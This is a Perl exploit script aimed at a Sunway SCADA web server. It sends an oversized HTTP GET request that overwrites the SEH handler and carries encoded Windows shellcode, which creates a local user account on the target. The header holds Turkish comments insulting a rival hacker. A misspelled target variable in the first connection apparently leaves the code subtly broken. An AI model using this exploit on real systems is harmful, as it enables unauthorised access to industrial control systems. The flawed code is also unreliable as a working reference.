#!/usr/bin/perl #Sunway SCADA Add User Exploit for fun ;) #Tested on XP SP1 # _ _ _ _ _ _ _ # | |__ ___| | | ___ | | ___) __| | __| |_ _ # | '_ \ / _ \ | |/ _ \ | |/ / |/ _` |/ _` | | | | # | | | | __/ | | (_) | | <| | (_| | (_| | |_| | # |_| |_|\___|_|_|\___/ |_|\_\_|\__,_|\__,_|\__, | # |___/ #Bir turlu olamayanin avuntusu; "underground'im ben" demek #Demek benim ustumden yiyecegini sandin bele$ ekmek? #Lan kendi yolunu bulman icin benden kurtulman gerek! #En buyuk hatan benden cevap beklemek. #Laf yemek istiyosun hem de benden! #Demek elimden yemek yemek istiyosun ac bebek? # # #Selam karde$, # #Mesele exploit yazmak degil, biraz adam olabilmekte.Bu ulkede senin gibi console-kiddy zaten yeterince var! #Tavrini gordukce cocuk olduguna emin olduk. #Cocuklugunun yaninda gecmisinde pek parlak degilmis o da ayri bir konu, #Sevgili eski teror orgutu destekcisi , kizil heykir! Bu karakter ve gecmisinle lutfen bize yaklasma. #Herkes kendi isini yapsin! # #P.S. exploit'deki bulmacayi, bize gonderdigin her lafta tekrar tekrar cozersin ;) # #31337 presented... contact: n00bfuker@gmx.de use IO::Socket; use strict; my $target = $ARGV[0]; my $otuzuc = "W" x 1127; my $otuz = "\xeb\x06\x90\x90"; # jmp my $seksen = "\x98\x15\xD7\x5A"; # ret # windows/adduser - 446 bytes Encoder: x86/alpha_mixed # USER=jenny, EXITFUNC=seh, PASS=pass my $yetmisxxxx = "\x89\xe6\xdb\xc8\xd9\x76\xf4\x5f\x57\x59\x49\x49\x49\x49\x49". "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a". "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32". "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49". "\x4b\x4c\x4b\x58\x47\x34\x45\x50\x43\x30\x43\x30\x4c\x4b\x50". "\x45\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x42\x58\x43\x31\x4a\x4f". "\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a". "\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31". "\x49\x50\x4c\x59\x4e\x4c\x4b\x34\x49\x50\x44\x34\x45\x57\x49". "\x51\x48\x4a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44\x47\x4b". "\x51\x44\x51\x34\x45\x54\x43\x45\x4a\x45\x4c\x4b\x51\x4f\x46". "\x44\x45\x51\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b". "\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x45". "\x51\x4a\x4b\x4b\x39\x51\x4c\x47\x54\x45\x54\x49\x53\x51\x4f". "\x50\x31\x4a\x56\x43\x50\x50\x56\x45\x34\x4c\x4b\x50\x46\x50". "\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d". "\x4c\x4b\x43\x58\x45\x58\x4d\x59\x4a\x58\x4c\x43\x49\x50\x42". "\x4a\x50\x50\x45\x38\x4c\x30\x4c\x4a\x44\x44\x51\x4f\x43\x58". "\x4a\x38\x4b\x4e\x4c\x4a\x44\x4e\x46\x37\x4b\x4f\x4a\x47\x42". "\x43\x42\x4d\x43\x54\x46\x4e\x43\x55\x43\x48\x43\x55\x51\x30". "\x46\x4f\x42\x43\x51\x30\x42\x4e\x42\x45\x44\x34\x47\x50\x44". "\x35\x42\x53\x45\x35\x43\x42\x51\x30\x43\x5a\x43\x55\x42\x4e". "\x42\x4e\x43\x49\x47\x50\x42\x50\x43\x51\x43\x43\x43\x43\x51". "\x30\x46\x4f\x51\x51\x51\x54\x51\x54\x51\x30\x51\x36\x47\x56". "\x47\x50\x42\x4e\x45\x35\x44\x34\x47\x50\x42\x4c\x42\x4f\x43". "\x53\x43\x51\x42\x4c\x43\x57\x42\x52\x42\x4f\x42\x55\x44\x30". "\x51\x30\x51\x51\x45\x34\x42\x4d\x42\x49\x42\x4e\x45\x39\x44". "\x33\x44\x34\x43\x42\x43\x51\x44\x34\x42\x4f\x42\x52\x43\x43". "\x47\x50\x43\x5a\x45\x35\x42\x4e\x42\x4e\x43\x49\x51\x30\x46". "\x4f\x47\x31\x51\x54\x47\x34\x43\x30\x41\x41"; my $sentamamlakardes = "\x90" x 800; #junk my $payload = $otuzuc.$otuz.$seksen.$yetmisxxxx.$sentamamlakardes; #Bir basit kelama kurban gider krallar... my($SOCKET) = new IO::Socket::INET( Proto => "tcp", PeerAddr=> "$targer:80"); if (! defined $SOCKET) { die $!; } print $SOCKET "GET /$payload HTTP/1.0\n\n"; close($SOCKET); my($SOCKET2) = new IO::Socket::INET( Proto => "tcp", PeerAddr=> "$target:80"); if (! defined $SOCKET2) { die $!; } print $SOCKET2 "GET / HTTP/1.0\n\n";